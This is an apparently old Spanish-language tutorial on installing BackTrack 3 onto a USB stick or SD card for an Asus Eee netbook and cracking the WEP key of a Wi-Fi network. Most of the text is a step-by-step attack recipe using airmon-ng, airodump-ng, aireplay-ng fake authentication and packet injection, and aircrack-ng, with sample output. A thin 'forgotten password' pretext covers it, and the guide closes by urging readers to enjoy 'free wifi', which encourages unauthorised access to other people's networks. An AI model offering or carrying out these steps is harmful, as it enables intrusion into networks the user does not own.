Depende que Netbook tengas, tendras drives pachados o no en una u otra distribución, si antes veiamos WIFISLAX en versión MINI, ahora B|T3
http://backtrack.mirrors.skynet.be/pub/backtrack/bt3b141207.rarDespues metemos el contenido de ese rar en la memoria, quedando los directorios boot/ y BT3/ en la raiz.
Ahora vamos a Inicio -> Ejecutar -> cmd
y ponemos la letra de la unidad de almacenamiento donde estan los archivos, en mi caso H:
después entramos en la carpeta boot (cd boot/ ) y despues en la carpeta dos (cd dos/)
Acto seguido, ejecutamos el .bat ( BT3.bat )
Nos dira que la letra H: podria perder la info y bla bla bla, y cuando finalice, ya tendremos una sd con un pedazo de linux de la ost....
Acordaros que para que arranque desde la SD o pendrive hay que cambiar la configuración en la BIOS.
Esta es una guía para conseguir la claves wep de los puntos wifi protegidos con contraseña usando una distribución de linux llamada Backtrack 3 que instalaremos en un pendrive y nuestro pequeño Asus Eee utilizando Windows xp.
Yo lo he probado con mi Eee 900 y funciona perfectamente, conseguí el password “que había olvidado” de mi casa en menos de 20 minutos.
Requisitos previos:
Necesitaremos el Backtrack 3 versión USB: Descargar desde aquí.
http://www.remote-exploit.org/backtrack_download.htmlDescomprimimos el archivo y obtenemos dos carpetas que debemos meter en la raiz del pendrive (usb flash memory). Por ejemplo e:
En windows vamos al menu de inicio > ejecutar > cmd
Se nos abre una “terminal” de Dos en la que tendremos que navegar hasta el pendrive, en este caso tecleamos e: y pulsamos enter.
Tecleamos: cd boot para entrar en la carpeta boot que metimos antes en e: (el pendrive). Enter.
Ahora ejecutamos el archivo
bootinst.bat (escribe eso y dale al enter).
Seguimos las instrucciones y ya deberíamos tener un pendrive “bootable” con el que podremos iniciar el sistema operativo Backtrack 3 antes de arrancar windows.
Bien, ahora empieza lo divertido…
Enchufamos el pendrive en el lado izquierdo del eee, no se porqué pero vá mejor.
Reiniciamos el pc y cuando salga la pantalla gris con el logo del Eee presionamos la tecla Esc.
Nos saldrá un menu azul que nos permitirá seleccionar desde donde arrancar, elegimos obviamente el pendrive (booteable gracias a los pasos anteriores).
Ahora salen unas cosas muy raras y le damos a enter y esperamos. Tranquilos, es solo para “acojonar” luego es bastante facil.
Una vez nos carga el sistema operativo veremos que es muy similar en el aspecto gráfico al windows.
PASO 1:
NOTA: Para abrir una terminal presionamos Ctrl+Alt+T o al lado del “menu de inicio” hay un icono cuadrado negro.
En una terminal pones:
airmon-ng start wifi0a continuación:
airodump-ng ath1cuando encuentres tu red wifi ctrl+c para parar la búsqueda y escribes
airodump-ng -c [channel] –bssid [AP MAC] -w [filename] ath1donde(no hay que poner corchetes):
[channel] es el canal
[AP MAC] es la dirección mac, XX:XX:XX:XX:XX
[filename] el nombre de archivo que le quieres dar, por ejemplo “casa”, recuerdalo.
PASO 2:
Abre una nueva terminal, ya sabes como…
aireplay-ng –fakeauth 0 -e [AP SSID] -a [AP MAC] ath1donde:
[AP SSID] es el nombre del Punto de acceso: Por ejemplo WLANCASA o lo que salga ahi en la primera terminal.
Si te sale esto felicidades:
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)Si no, intenta con lo siguiente:
Aireplay-ng –fakeauth 6000 -o 1 -q 10 -e [AP SSID] -a [AP MAC] ath1Y te debería salir algo como esto:
18:22:32 Sending Authentication Request
18:22:32 Authentication successful
18:22:32 Sending Association Request
18:22:32 Association successful :-)
18:22:42 Sending keep-alive packet
18:22:52 Sending keep-alive packetSi no, olvidate.
Ahora que ya te funciona hay que empezar a inyectar, espero que no tengas miedo de las agujas…
PASO 3:
aireplay-ng -3 -b [AP MAC] ath1 -x 250Ahora vete a la nevera y preparate una cocacola y unas aceitunas. En un par de minutos empezarás a ver como
la columna DATA de la primera terminal empieza a subir (los números, no es que se mueva de posición ¬¬).
Espera hata tener unos 40.000 más o menos y abre una tercera terminal.
PASO 4:
Quiero mi clave yaaaarl!!!
aircrack-ng -z -b [AP MAC] [filename*.cap]En lo de filename deberias poner lo que te dije antes, en tu caso sería casa.cap o lo que hayas puesto.
Espera otro poquito, y ya te aparecerá la clave, la apuntas en un papel y listo. Reinicia con tu SO favorito
y disfruta de tu wifi gratis.
Gracias a
http://www.georgehafiz.co.uk/aircrackeeepc.php
